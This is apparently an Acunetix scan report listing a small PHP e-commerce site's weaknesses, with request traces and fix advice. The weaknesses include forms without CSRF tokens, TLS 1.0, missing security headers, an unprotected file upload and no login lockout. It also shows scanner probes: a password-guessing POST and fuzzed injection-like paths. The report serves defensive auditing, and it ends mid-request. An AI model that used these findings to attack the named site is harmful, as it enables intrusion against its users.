Alert variants	
Details	Form name: <empty> Form action: checkout.php Form method: POST Form inputs: • c_email [text] • c_pass [password] • login [button]

```
GET /customer/customer_login.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/delete_account.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • yes [submit] • no [submit]

```
GET /customer/delete_account.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/edit_account.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • c_name [text] • c_email [text] • c_country [text] • c_city [text] • c_contact [text] • c_address [text] • c_image [file] • update [button]

```
GET /customer/edit_account.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer_register.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: customer_register.php Form method: POST Form inputs: • c_name [text] • c_email [text] • c_pass [password] • <empty> [password] • c_country [text] • c_city [text] • c_contact [text] • c_address [text] • c_image [file] • register [submit]

```
GET /customer_register.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer_register.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /customer_register.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/forgot_pass.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • c_email [text] • forgot_pass [submit]

```
GET /forgot_pass.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/forgot_pass.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /forgot_pass.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/hoodie	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • product_qty [select] • product_size [select] • add_cart [submit] • add_wishlist [submit]

```
POST /hoodie HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 38
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

add_cart=&product_qty=1&product_size=1
```

/hoodie	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
POST /hoodie HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 38
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

add_cart=&product_qty=1&product_size=1
```

/index.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /index.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/shop.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /shop.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/terms.php	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: # Form method: POST Form inputs: • <empty> [text] • <empty> [button]

```
GET /terms.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

Web Server	
Alert group	**TLS 1.0 enabled**
Severity	Medium
Description	The web server supports encryption through TLS 1.0. TLS 1.0 is not considered to be "strong cryptography" as defined and required by the PCI Data Security Standard 3.2(.1) when used to protect sensitive information transferred to or from web sites. According to PCI, "30 June 2018 is the deadline for disabling SSL/early TLS and implementing a more secure encryption protocol – TLS 1.1 or higher (TLS v1.2 is strongly encouraged) in order to meet the PCI Data Security Standard (PCI DSS) for safeguarding payment data.
Recommendations	It is recommended to disable TLS 1.0 and replace it with TLS 1.2 or higher.
Alert variants	
Details	The SSL server (port: 443) encrypts traffic using TLSv1.0.

Web Server	
Alert group	**Clickjacking: X-Frame-Options header missing**
Severity	Low
Description	Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. The server didn't return an **X-Frame-Options** header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page inside a frame or iframe. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

Recommendations	Configure your web server to include an X-Frame-Options header and a CSP header with frame-ancestors directive. Consult Web references for more information about the possible values for this header.
Alert variants	
Details	

```
GET / HTTP/1.1
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

Web Server	
Alert group	**Cookie(s) without HttpOnly flag set (verified)**
Severity	Low
Description	This cookie does not have the HttpOnly flag set. When a cookie is set with the HttpOnly flag, it instructs the browser that the cookie can only be accessed by the server and not by client-side scripts. This is an important security protection for session cookies.
Recommendations	If possible, you should set the HttpOnly flag for this cookie.
Alert variants	
Details	Set-Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e; path=/

```
GET / HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

Web Server	
Alert group	**Cookie(s) without Secure flag set (verified)**
Severity	Low
Description	This cookie does not have the Secure flag set. When a cookie is set with the Secure flag, it instructs the browser that the cookie can only be accessed over secure SSL/TLS channels. This is an important security protection for session cookies.
Recommendations	If possible, you should set the Secure flag for this cookie.
Alert variants	
Details	Set-Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e; path=/

```
GET / HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/edit_account.php	
Alert group	**File upload**
Severity	Low
Description	This page allows visitors to upload files to the server. Various web applications allow users to upload files (such as pictures, images, sounds, ...). Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

Recommendations	Restrict file types accepted for upload: check the file extension and only allow certain files to be uploaded. Use a whitelist approach instead of a blacklist. Check for double extensions such as .php.png. Check for files without a filename like .htaccess (on ASP.NET, check for configuration files like web.config). Change the permissions on the upload folder so the files within it are not executable. If possible, rename the files that are uploaded.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form input: - c_image [file]

```
GET /customer/edit_account.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer_register.php	
Alert group	**File upload**
Severity	Low
Description	This page allows visitors to upload files to the server. Various web applications allow users to upload files (such as pictures, images, sounds, ...). Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
Recommendations	Restrict file types accepted for upload: check the file extension and only allow certain files to be uploaded. Use a whitelist approach instead of a blacklist. Check for double extensions such as .php.png. Check for files without a filename like .htaccess (on ASP.NET, check for configuration files like web.config). Change the permissions on the upload folder so the files within it are not executable. If possible, rename the files that are uploaded.
Alert variants	
Details	Form name: <empty> Form action: customer_register.php Form method: POST Form input: - c_image [file]

```
GET /customer_register.php HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/checkout.php	
Alert group	**Login page password-guessing attack**
Severity	Low
Description	A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works. This login page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts. Consult Web references for more information about fixing this problem.
Recommendations	It's recommended to implement some type of account lockout after a defined number of incorrect password attempts.

Alert variants	
Details	The scanner tested 10 invalid credentials and no account lockout was detected.

```
POST /checkout.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: https://onstor459.000webhostapp.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 74
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

c_email=faqyhsL1%40onstor459.000webhostapp.com&c_pass=4DMH9UhZ&login=Login
```

Web Server	
Alert group	**Content Security Policy (CSP) not implemented**
Severity	Informational

Description	Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.
	Content Security Policy (CSP) can be implemented by adding a **Content-Security-Policy** header. The value of this header is a string containing the policy directives describing your Content Security Policy. To implement CSP, you should define lists of allowed origins for the all of the types of resources that your site utilizes. For example, if you have a simple site that needs to load scripts, stylesheets, and images hosted locally, as well as from the jQuery library from their CDN, the CSP header could look like the following:
	`Content-Security-Policy:`
	`    default-src 'self';`
	`    script-src 'self' https://code.jquery.com;`
	It was detected that your web application doesn't implement Content Security Policy (CSP) as the CSP header is missing from the response. It's recommended to implement Content Security Policy (CSP) into your web application.

Recommendations	It's recommended to implement Content Security Policy (CSP) into your web application. Configuring Content Security Policy involves adding the **Content-Security-Policy** HTTP header to a web page and giving it values to control resources the user agent is allowed to load for that page.
Alert variants	
Details	

```
GET / HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/!(()&&!|*|*|	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/!(()&&!|*|*| HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
```

/customer/customer_images/"	
Alert group	**Content type is not specified (verified)**
Severity	Informational
Description	This page does not set a Content-Type header value. This value informs the browser what kind of data to expect. If this header is missing, the browser may incorrectly handle the data. This could lead to security problems.
Recommendations	Set a Content-Type header value for this page.
Alert variants	
Details	

```
GET /customer/customer_images/" HTTP/1.1
Referer: https://onstor459.000webhostapp.com/
Cookie: PHPSESSID=hebniaqe04gbguk24k15plik4e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: onstor459.000webhostapp.com
